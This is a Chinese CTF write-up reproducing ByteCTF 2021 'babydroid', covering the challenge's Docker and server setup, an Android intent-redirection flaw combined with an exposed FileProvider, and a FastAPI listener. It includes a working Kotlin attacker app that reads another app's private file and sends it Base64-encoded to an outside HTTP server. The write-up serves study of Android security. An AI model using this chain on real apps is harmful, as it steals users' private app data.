当前位置:首页>安卓APP>安卓逆向——bytectf2021 babydroid&docker环境搭建

安卓逆向——bytectf2021 babydroid&docker环境搭建

  • 2026-01-31 21:34:13
安卓逆向——bytectf2021 babydroid&docker环境搭建

前言

之前接触的ctf都是字段分析类型的,这是我第一次见到需要部署环境的安卓ctf题目,也是第一次接触到docker和fastapi,写一篇文章纪念一下

理清题目用意

官方wp,里面包含题目原件。

ByteCTF2021 writeup for Android challenges - 飞书云文档https://ai.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg

官方wp介绍了题目的整体攻击流程

理清题目的部署和运行环境是后续解题的必要条件,也可以避免少走弯路。运行环境还原了正手机上安装恶意应用(后称Attacker App)后,本地环境下利用其他应用(后称Vuler App)中存在的安卓漏洞,窃取Vuler App的敏感信息,或者以Vuler App进程权限执行任意命令,即LCE 。这里的两个app均为普通应用、不具备root、shell等特殊权限。

有点懵,看一下提供的附件

分析run.sh

run.sh根据提供的DockerFile,创建一个docker容器,容器名称为babydroid 每次运行脚本时,容器都会删除并且重建

## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at##     https://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.docker build -t babydroid -f Dockerfile . || exit 1docker stop babydroid 2> /dev/nulldocker rm babydroid 2> /dev/nulldocker run -d --name babydroid -it -p 30001:1337 --privileged -v /dev/kvm:/dev/kvm babydroid || exit 1echo -e "\nServer is running on localhost:30001"# */20 * * * * cd /root/src_babydroid; ./run.sh# Resetting every 20 minutes, this may cause disconnection, please pay attention to the time to solve the problem

分析dockerfile

dockerfile的目的是创建一个android系统的隔离环境。

这段代码使用ubuntu20.04作为基础系统,创建一个uid为1000的user。接着安装好安卓依赖以及配置环境变量。

然后是权限管理:Dockerfile将当前目录下的flag , server.pyapp-debug.apk移动到babydroid容器中的challenge里,并且为这些文件设置权限

FROM ubuntu:20.04RUN /usr/sbin/useradd --no-create-home -u 1000 userRUNset -e -x; \        apt update -y; \        apt upgrade -y; \ apt install -y software-properties-common; \ apt install -y openjdk-17-jdk; \ apt install -y unzip wget socat; \ apt install -y cpu-checker qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager;RUNset -e -x; \ wget https://dl.google.com/android/repository/commandlinetools-linux-6514223_latest.zip -O commandlinetools.zip; \ mkdir -p /opt/android/sdk/cmdline-tools; \ unzip commandlinetools.zip; \ mv tools /opt/android/sdk/cmdline-tools/latest; \ rm commandlinetools.zip;ENV PATH "/opt/android/sdk/cmdline-tools/latest/bin:${PATH}"ENV ANDROID_SDK_ROOT "/opt/android/sdk"RUNset -e -x; \ yes | sdkmanager --install \"cmdline-tools;latest" \"platform-tools" \"build-tools;30.0.0" \"platforms;android-30" \"system-images;android-30;google_apis;x86_64" \"emulator";RUN sdkmanager --update;ENV PATH "/opt/android/sdk/emulator:${PATH}"ENV PATH "/opt/android/sdk/platform-tools:${PATH}"ENV PATH "/opt/android/sdk/build-tools/30.0.0:${PATH}"COPY flag server.py app-debug.apk /challenge/RUN chmod 755 /challenge/server.pyRUN chmod 644 /challenge/app-debug.apk /challenge/flagRUN mkdir /home/user/RUN chmod 755 /home/user/

然后就到了核心部分:dockerfile对本地的1337端口进行监听,对于每一个新建的连接,执行server.py脚本

CMD chmod 0777 /dev/kvm && \    socat \      TCP-LISTEN:1337,reuseaddr,fork \      EXEC:"/bin/timeout 300 /challenge/server.py"

也就是说,执行run.sh并不会直接运行server.py,run.sh只是在本机的1337端口开启一个监听,只有连接到这个端口才会执行server.py。 我们可以使用nc,telent等工具连接到这个端口(有点做pwn题目的感觉了)

分析server.py

分析一下这个脚本到底干了什么

首先依然是配置环境

random_hex = lambda x: ''.join([random.choice('0123456789abcdef'for _ in range(x)])difficulty = 6ADB_PORT = int(random.random() * 60000 + 5000)EMULATOR_PORT = ADB_PORT + 1EXPLOIT_TIME_SECS = 30APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")HOME = "/home/user"VULER = "com.bytectf.babydroid"ATTACKER = "com.bytectf.pwnbabydroid"ENV = {}ENV.update(os.environ)ENV.update({"ANDROID_ADB_SERVER_PORT""{}".format(ADB_PORT),"ANDROID_SERIAL""emulator-{}".format(EMULATOR_PORT),"ANDROID_SDK_ROOT""/opt/android/sdk","ANDROID_SDK_HOME": HOME,"ANDROID_PREFS_ROOT": HOME,"ANDROID_EMULATOR_HOME": HOME + "/.android","ANDROID_AVD_HOME": HOME + "/.android/avd","JAVA_HOME""/usr/lib/jvm/java-17-openjdk-amd64","PATH""/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH""")})

之后要求用户在终端输入proof,使sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True。这一步是为了降低主办方服务器的负荷。但是我们现在只是复现题目,所以这部分可以删除。

defproof_of_work():    prefix = random_hex(6)    print_to_user(f'Question: sha256(("{prefix}"+"xxxx").encode()).hexdigest().startswith("{difficulty*"0"}")')    print_to_user(f'Please enter xxxx to satisfy the above conditions:')    proof = sys.stdin.readline().strip()return sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True

然后用户需要在终端输入Attacker App的地址,server.py会利用request访问url并下载此APK

print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)ifnot check_apk(EXP_FILE):    print_to_user("Invalid apk file.\n")    exit(-1)

执行结束后,Attack App被下载到docker部署的ubuntu20.04里。接下来需要利用adb,与ubuntu里的安卓虚拟机emulator进行交互。

adb_install(APK_FILE)adb_activity(f"{VULER}/.MainActivity", wait=True)with open(FLAG_FILE, "r"as f:    adb_broadcast(f"com.bytectf.SET_FLAG"f"{VULER}/.FlagReceiver", extras={"flag": f.read()})time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity")

上面的代码含义分别是:

  • 往安卓虚拟机中安装Vuler APP
  • 打开Vuler的MainActivity
  • 往安卓虚拟机中安装Attack APP
  • adb利用广播发送flag。Vuler APP编写了相关代码接受广播,并且放在程序内部文件中,正常情况下其他应用程序访问不了这个文件。

我们的目标就是设计出Attacker App,得到文件的访问权限,从而得到flag。不过在此之前,先分析一下Attacker App的功能

分析Vuler APP

接受广播

FlagReceiver继承了广播接收者,用于接收传入的flag。

publicclassFlagReceiverextendsBroadcastReceiver{@Override// android.content.BroadcastReceiverpublicvoidonReceive(Context context, Intent intent){        String s = intent.getStringExtra("flag");if(s != null) {this.writeFile(new File(context.getFilesDir(), "flag"), s);            Log.e("FlagReceiver""received flag.");        }    }

接收到flag后,这个类将会调用writeFile方法,将flag放入context.getFilesDir()/flag文件里。getFilesDir()方法用于返回一个File文件,表示程序的内部存储目录,通常为/data/data/<package_name>/files/

漏洞分析

在Vuler App下,有一个继承了Activity的Vulnerable Activity

publicclassVulnerableextendsActivity{@Override// android.app.ActivityprotectedvoidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));    }}

函数的功能很简单,不过在此之前先介绍一下intent。intent对象是component用来与操作系统通信的一种媒介工具。component包括activity、service、broadcast receiver以及content provider,也就是安卓四大组件。

intent介绍

如何使用intent完成acitivity的跳转?一般我们会这样写

cheatButton.setOnClickListener {// Start CheatActivityval intent = Intent(this, CheatActivity::class.java)    startActivity(intent)}

在上面的代码为按下cheatButton设置了一个监听:用户在按下按钮的时候,会跳转到CheatActivity中。

也就是下面的流程:页面会从cheatButton所在的某一个Activity跳转到CheatActivity

                   intentxxxActivity  ------------------> CheatActivity

intent重转发漏洞

回到题目里面的代码

this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));

this.getIntent()得到的是该Activity的”来时路“:即系统通过某一个Intent,跳转到此Activity中。getParcelableExtra("intent")表示代码会对这个Intent携带的数据intent进行序列化。因为没有对数据进行验证,所以这里存在Intent重定向漏洞。

通过FileProvider实现文件任意读写

在androidManifest.xml中,能够看到FileProvider的相关配置

<providerandroid:authorities="androidx.core.content.FileProvider"android:exported="false"android:grantUriPermissions="true"android:name="androidx.core.content.FileProvider"><meta-dataandroid:name="android.support.FILE_PROVIDER_PATHS"android:resource="@xml/file_paths"/></provider>

对应的file_paths xml文件如下

<?xml version="1.0" encoding="UTF-8"?><pathsxmlns:android="http://schemas.android.com/apk/res/android"><root-pathname="root"path=""/></paths>

发现path=""为空,表示可以访问模拟器下的所有文件。但是能访问路径还不够,需要目标app开启grantUriPermissions权限才可以。

可以发现,目标app的android:grantUriPermissions="true"。此时被攻击APP能够授予攻击者暂时的权限来读取文件

publicstaticfinalint FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;publicstaticfinalint FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;
  • FLAG_GRANT_READ_URI_PERMISSION:允许接收者读取 URI 的内容,即读取 URI 的数据,并在权限授予期间保持该权限。
  • FLAG_GRANT_WRITE_URI_PERMISSION:允许接收者写入 URI 的内容,即修改 URI 的数据,并在权限授予期间保持该权限。

一些问题

  • VlunActivity没有添加export:true属性,为什么attcker app可以使用intent直接跳转到这个activity里?这是因为android11默认添加了<intent-filter>的activity可以导出。

docker安装

配置环境:ubuntu24.04CPU开启虚拟化

官网:https://docs.docker.com/engine/install/

下载docker Engine

  1. 初始化apt仓库
# Add Docker's official GPG key:sudo apt updatesudo apt install ca-certificates curlsudo install -m 0755 -d /etc/apt/keyringssudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.ascsudo chmod a+r /etc/apt/keyrings/docker.asc# Add the repository to Apt sources:sudo tee /etc/apt/sources.list.d/docker.sources <<EOFTypes: debURIs: https://download.docker.com/linux/ubuntuSuites: $(. /etc/os-release && echo"${UBUNTU_CODENAME:-$VERSION_CODENAME}")Components: stableSigned-By: /etc/apt/keyrings/docker.ascEOFsudo apt update
  1. 安装docker包
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
  1. 验证docker是否安装成功
sudo docker run hello-world

配置国内镜像

搭建环境的时候报错

sudo  bash run.sh[+] Building 5.5s (2/2) FINISHED                                 docker:default => [internal] load build definition from Dockerfile                       0.0s => => transferring dockerfile: 2.08kB                                     0.0s => ERROR [internal] load metadata for docker.io/library/ubuntu:20.04      5.4s------ > [internal] load metadata for docker.io/library/ubuntu:20.04:------Dockerfile:15--------------------  13 |     # limitations under the License.  14 |       15 | >>> FROM ubuntu:20.04  16 |       17 |     RUN /usr/sbin/useradd --no-create-home -u 1000 user--------------------ERROR: failed to build: failed to solve: ubuntu:20.04: failed to resolve source metadata for docker.io/library/ubuntu:20.04: unable to fetch descriptor (sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214) which reports content size of zero: invalid argument

这时候一般是因为访问不了docker hub,需要配置国内源

sudo vim /etc/docker/daemon.json,输入国内镜像源地址

{"registry-mirrors": ["https://docker.1ms.run"  ]

服务器搭建

搭建服务器的py脚本参考这个文章Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup-先知社区:https://xz.aliyun.com/news/16393

要复现整个流程,依然需要搭建一个服务器,原因如下

  • server.py中,用户需要输入一个url链接,让脚本能够根据这个url链接下载attcker app
  • 攻击结束之后,attack app得到flag。 由于我们在没有图形化界面的安卓模拟器中运行攻击流程,所以没办法做到将flag打印到图形化界面上。可以将flag直接发送到服务器上,就能在终端直接阅读

这一步我打算使用fastapi,官网有相关教程

手动运行服务器 - FastAPIhttps://fastapi.docslib.dev/deployment/manually/

写一段代码验证一下能不能正常访问。

  • 在物理机上开启一个接口
@app.get("/")  asyncdefroot(msg: str):return {"message": msg}
  • 终端输入fastapi run运行
  • 虚拟机终端输入
curl http://192.168.98.116:8000?msg=1# {"message":"1"}

物理机也成功回显。

      INFO   Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)      INFO   192.168.98.126:42290 - "GET /?msg=1 HTTP/1.1" 200

确认虚拟机可以访问这个路径之后,接下来就可以继续编写python文件

import os  from fastapi import FastAPI, Path, HTTPException  from starlette.responses import FileResponse  app = FastAPI()  # @app.get("/")  # async def root():  #     return {"message": "Hello World"}  @app.get("/")  asyncdefroot(msg: str):return {"message": msg}  # 配置下载目录(建议使用绝对路径)  DOWNLOAD_FOLDER = "D:\\practice_code\\android\\pwnbabydroid\\app\\build\\outputs\\apk\\debug"@app.get("/download/{filename}")  asyncdefdownload_file(filename: str = Path(..., description="Name of the file to download")):    file_path = os.path.join(DOWNLOAD_FOLDER, filename)  # 检查文件是否存在且是文件(防止路径遍历)  ifnot os.path.isfile(file_path):  raise HTTPException(status_code=404, detail="File not found")  # 返回文件作为附件(浏览器会下载而非打开)  return FileResponse(          path=file_path,          filename=filename,  # 这会设置 Content-Disposition: attachment; filename=...        media_type='application/octet-stream'      )

attacker apk编译

让ai帮忙写了wp的kotlin版本:

classMainActivity : ComponentActivity() {  overridefunonCreate(savedInstanceState: Bundle?) {  super.onCreate(savedInstanceState)  val action = intent.action  if(action != "evil"){  val evil = Intent("evil").apply {                  setClass(this@MainActivity,MainActivity::class.java)  data = "content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag".toUri()                  addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or Intent.FLAG_GRANT_WRITE_URI_PERMISSION)              }  val intent = Intent().apply {                  putExtra("intent",evil)                  setClassName("com.bytectf.babydroid","com.bytectf.babydroid.Vulnerable")              }              startActivity(intent);          }else {  val inputStream = contentResolver.openInputStream(intent.data!!)  val text = inputStream?.use { it.bufferedReader().readText() } ?: ""val encoded = Base64.encodeToString(text.toByteArray(Charsets.UTF_8), Base64.DEFAULT).replace("\n""")              httpGet(encoded)          }      }  privatefunhttpGet(msg: String) {          Thread {  var connection: HttpURLConnection? = nulltry {  val url = URL("http://192.168.101.116:8000/?msg=$msg")                  connection = url.openConnection() as HttpURLConnection                  connection.requestMethod = "GET"                connection.inputStream.use { it.readBytes() }              } catch (e: IOException) {                  e.printStackTrace()              } finally {                  connection?.disconnect()              }          }.start()      }  }

修改androidmanifest,添加网络请求和http请求权限

<uses-permissionandroid:name="android.permission.INTERNET" /><applicationandroid:allowBackup="true"android:dataExtractionRules="@xml/data_extraction_rules"android:fullBackupContent="@xml/backup_rules"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:roundIcon="@mipmap/ic_launcher_round"android:supportsRtl="true"android:theme="@style/Theme.Pwnbabydroid"android:usesCleartextTraffic="true"

按照下图,点击生成APK

生成的apk会在app-》build-》outputs-》apk-》debug目录下

攻击

写了这么多准备,终于开始攻击了。

  • 运行fast api服务器 fastapi run
  • 运行题目提供的docker容器sudo bash run.sh
  • 使用nc连接上容器

问题出现了:程序一直卡在这里。我尝试增加程序运行时间,发现二十分钟过去了,依然卡在这里

Preparing android emulator. This may takes about 2 minutes...

真机攻击

模拟器不行,那就使用真机完成攻击

环境:pixel3

复现步骤

  • 手机下载好Vluer app 和Attacker App
  • 服务器开启fastapi服务
  • 运行Vluer app
  • 使用adb 发送广播
> adb shell> su> am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag "BTYECTF{gaunzhu_xiaoy_xxm}"
  • 运行 Attacker app,攻击完成

后记

最近忙着做开题报告和文献翻译。我前段时间以为没问题了,结果导师一看哪哪都是问题,结果我从早到晚疯狂改了三天,才勉勉强强过关。:(

这些天打算把vue3完整过一遍,年后计划搭建一个个人博客,放一些待办事项、学习资源以及知识总结。(基本每隔几天就能发现新的复现文章,但是微信公众号更新文章太不方便了)

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-05 15:50:43 HTTP/2.0 GET : https://c.mffb.com.cn/a/462121.html
  2. 运行时间 : 0.151420s [ 吞吐率:6.60req/s ] 内存消耗:4,282.81kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=ecdf4796a041f49bba892ed2ffa723d6
  1. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
